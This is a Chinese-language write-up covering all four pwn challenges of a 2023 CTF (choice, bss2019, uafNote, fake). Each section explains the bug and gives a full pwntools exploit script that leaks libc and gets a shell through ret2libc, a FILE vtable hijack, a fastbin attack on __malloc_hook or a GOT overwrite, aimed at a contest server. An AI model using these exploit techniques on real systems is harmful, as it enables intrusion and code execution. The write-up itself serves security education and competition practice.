第一届古剑山ctf-pwn全部题解

1. choice

附件：

https://github.com/chounana/ctf/blob/main/2023%E7%AC%AC%E4%B8%80%E5%B1%8A%E5%8F%A4%E5%89%91%E5%B1%B1pwn/choice.zip

漏洞代码：

漏洞成因：

byte_804A04C输入的长度可以覆盖nbytes的值，导致后面输入时存在栈溢出

解法：

覆盖之后就是一个简单的ret2libc的打法了，两个溢出点都可以，但是main函数最后退出的时候不是简单的leave;ret

为了图省事，就直接打sub_804857B的溢出了

exp:

from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv

def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
		free = base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search(b'/bin/sh').__next__()
		free = base + libc.sym['__free_hook']
	return (system,binsh,free)
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sa2      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline((data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
sla2     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
binary = './choice'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('39.108.173.13',30565) if argv[1]=='r' else process(binary)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)

def dbg():
    if argv[1]=='r':
        return
    gdb.attach(p)
    pause()

def itr():
    p.interactive()

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
# dbg()
sa2(b"Please enter your name:\n",b"\x00"*0x14+b"\xff")
# sla(b"3. Study hard from now",2)
sla(b"3. Study hard from now",2)

payload = b"a" * 0x1c + b"aaaa" + p32(puts_plt) + p32(0x0804857B) + p32(puts_got)
sla2(b"Cool! And whd did you choice it?\n",payload)
ru(b"\n")
puts_real = u32(r(4))
leak("puts_real",puts_real)
system,binsh,free = ret2libc(puts_real,"puts","libc-2.23.so")
payload = b"a" * 0x1c + b"aaaa" + p32(system) + p32(0x0804857B) + p32(binsh)
sla2(b"Cool! And whd did you choice it?\n",payload)
itr()

2.?bss2019

附件：

https://github.com/chounana/ctf/blob/main/2023%E7%AC%AC%E4%B8%80%E5%B1%8A%E5%8F%A4%E5%89%91%E5%B1%B1pwn/bss2019.zip

漏洞代码：

漏洞成因：

bss段上存着stdout、stderr和stdin三个指针，由于v1可以输入负数，正好负向最多能够偏移到stdout

解法：

先通过stdout泄露出libc基址，然后通过最开始给出的bss段的地址，可以将stdout覆盖成这个地址

然后printf函数会使用到stdout指向的结构体，修改虚表中的函数为setcontext+61，然后根据调试最后满足所需的条件就行了

exp：

from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv

def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
		free = base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search(b'/bin/sh').__next__()
		free = base + libc.sym['__free_hook']
	return (system,binsh,free)
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sa2      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline((data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
sla2     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
binary = './bss2019'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('39.108.173.13',30565) if argv[1]=='r' else process(binary)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)

def dbg():
    if argv[1]=='r':
        return
    gdb.attach(p)
    pause()

def itr():
    p.interactive()

libc = ELF("./libc-2.23.so")
ru(b"\n")
gifts = int(ru(b"\n"),16)
leak("gifts",gifts)
sla(b"Choice:",1)
sla(b"Offset:\n",-0x40)
ru(b"\n")
stdout = uu64(r(8))
leak("stdout",stdout)
base = stdout -0x3c5620

sla(b"Choice:",2)
sla(b"Offset:\n",0x88)
sla(b"Size:\n",8)
sla2(b"Input data:\n",p64(gifts))

sla(b"Choice:",2)
sla(b"Offset:\n",0xd8)
sla(b"Size:\n",8)
sla2(b"Input data:\n",p64(gifts))

sla(b"Choice:",2)
sla(b"Offset:\n",0x38)
sla(b"Size:\n",8)
sla2(b"Input data:\n",p64(base + libc.sym["setcontext"]+61))

sla(b"Choice:",2)
sla(b"Offset:\n",0xa8)
sla(b"Size:\n",8)
sla2(b"Input data:\n",p64(base + 0x45216))


sla(b"Choice:",2)
sla(b"Offset:\n",-0x40)
sla(b"Size:\n",8)

# dbg()	
sla2(b"Input data:\n",p64(gifts))

itr()

3.?uafNote

附件：

https://github.com/chounana/ctf/blob/main/2023%E7%AC%AC%E4%B8%80%E5%B1%8A%E5%8F%A4%E5%89%91%E5%B1%B1pwn/uafNote.zip

漏洞代码：

漏洞成因：

堆块free掉之后数组没有清空

解法：

申请malloc_hook-0x23的fake fastbin chunk，最后修改malloc_hook为one_gadget

exp：

from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
# context.terminal = ['tmux','splitw','-h']
def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
		free = base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search(b'/bin/sh').__next__()
		free = base + libc.sym['__free_hook']
	return (system,binsh,base)
s       = lambda data               :p.send(str(data))
s2       = lambda data               :p.send((data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sa2      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline((data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
sla2     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './uafNote'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("39.108.173.13",38087) if argv[1]=='r' else process(binary)

def dbg():
    if argv[1]=='r':
        return
    gdb.attach(p)
    pause()

def itr():
    p.interactive()
_create,_delete,_show = 1,2,3
menu = ">> "
size_str = "size:"
content_str= "content:"
index_str = "index:"
def create(size,content):
    sla(menu,_create)
    sla(size_str,size)
    sla2(content_str,content)

def delete(index):
    sla(menu,_delete)    
    sla(index_str,index)


def show(index):
    sla(menu,_show)
    sla(index_str,index)

libc = ELF("./libc-2.23.so")
create(0x60,b"a")
create(0x90,b"a")
create(0x60,b"a")
delete(1)
# dbg()
show(1)
libc_base = uu64(ru(b"\n")) - 0x3c3b78
leak("libc_base",libc_base)
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
free = libc_base + libc.sym['__free_hook']
malloc = libc_base + libc.sym['__malloc_hook']
create(0x90,b"a")
delete(0)
delete(2)
delete(0)
create(0x60,p64(malloc-0x23))
create(0x60,b"/bin/sh\x00")
create(0x60,b"/bin/sh\x00")
create(0x60,b"a"*0x13+p64(libc_base+0xf0567))
dbg()
sla(menu,_create)
sla(size_str,0x70)

# delete(5)
itr()

4.?fake

附件：

https://github.com/chounana/ctf/blob/main/2023%E7%AC%AC%E4%B8%80%E5%B1%8A%E5%8F%A4%E5%89%91%E5%B1%B1pwn/fake.zip

漏洞代码：

漏洞成因：

堆块free掉数组没有清空

解法：

这题虽然有uaf，但是size限制了只能申请0x1000大小的堆块，并且没有show函数。首先可以通过unsorted bin attack将unsorted bin(av)写入到堆数组中，等会就可以随意修改unsorted bin的fd和bk指针了，从而达到往unsorted bin中链入fake chunk的目的。

然后需要fake chunk要满足的提交，需要有合理的size，并且bk指针的值可写，这点可以利用前面在bss段上输入的passwd进行伪造

又因为它跟堆数组相连

?所以chunk地址伪造成0x6020e8，它的bk正好是heap[0]满足要求，最后申请到bss段上的chunk，就可以修改某一个数组的值为free_got值，然后修改其为puts函数，泄露libc，最后再改成system即可。

上面的合理大小和另外一种思路详见我另外一篇博客的思路三，其实也差不多，就是直接修改bk，不适用unsorted bin attack了，类似于fastbin attack了

tip：这里malloc申请堆块的时候是不会检查地址是否对齐的问题，但是free会。

exp：

from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
# context.terminal = ['tmux','splitw','-h']
def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
		free = base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search(b'/bin/sh').__next__()
		free = base + libc.sym['__free_hook']
	return (system,binsh,base)
s       = lambda data               :p.send(str(data))
s2       = lambda data               :p.send((data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sa2      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline((data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
sla2     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './fake'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("39.108.173.13",38087) if argv[1]=='r' else process(binary)

def dbg():
    if argv[1]=='r':
        return
    gdb.attach(p)
    pause()

def itr():
    p.interactive()
_create,_delete,_edit = 1,3,2
menu = "Your choice:"
content_str= "Content:"
index_str = "Index:"
def create(index,content):
    sla(menu,_create)
    sla(index_str,index)
    sa2(content_str,content)

def delete(index):
    sla(menu,_delete)    
    sla(index_str,index)


def edit(index,content):
    sla(menu,_edit)
    sla(index_str,index)
    s2(content)
sa2(b"Enter your password:\n",p64(0)*2 + p64(0x1011))
create(0, b"a"*0xfff)
create(1, b"a"*0xfff)
create(2, b"a"*0xfff)
create(3, b"a"*0xfff)
create(4, b"a"*0xfff)
delete(3)

edit(3,p64(0) + p64(0x602100-0x10))
create(5, b"a"*0xfff)
# dbg()
edit(0, p64(0)*3+p32(0x6020e8))
create(6, b"a"*8 + p64(elf.got["free"])+p64(elf.got["puts"]))
edit(0, p64(elf.plt["printf"])[:7])
# dbg()
delete(1)

libc = ELF("./libc-2.23.so")
base = uu64(r(6)) - libc.sym["puts"]
leak("base",base)
system = base + libc.sym['system']
edit(5,b"/bin/sh\x00")
edit(0, p64(system)[:7])
delete(5)
# dbg()

itr()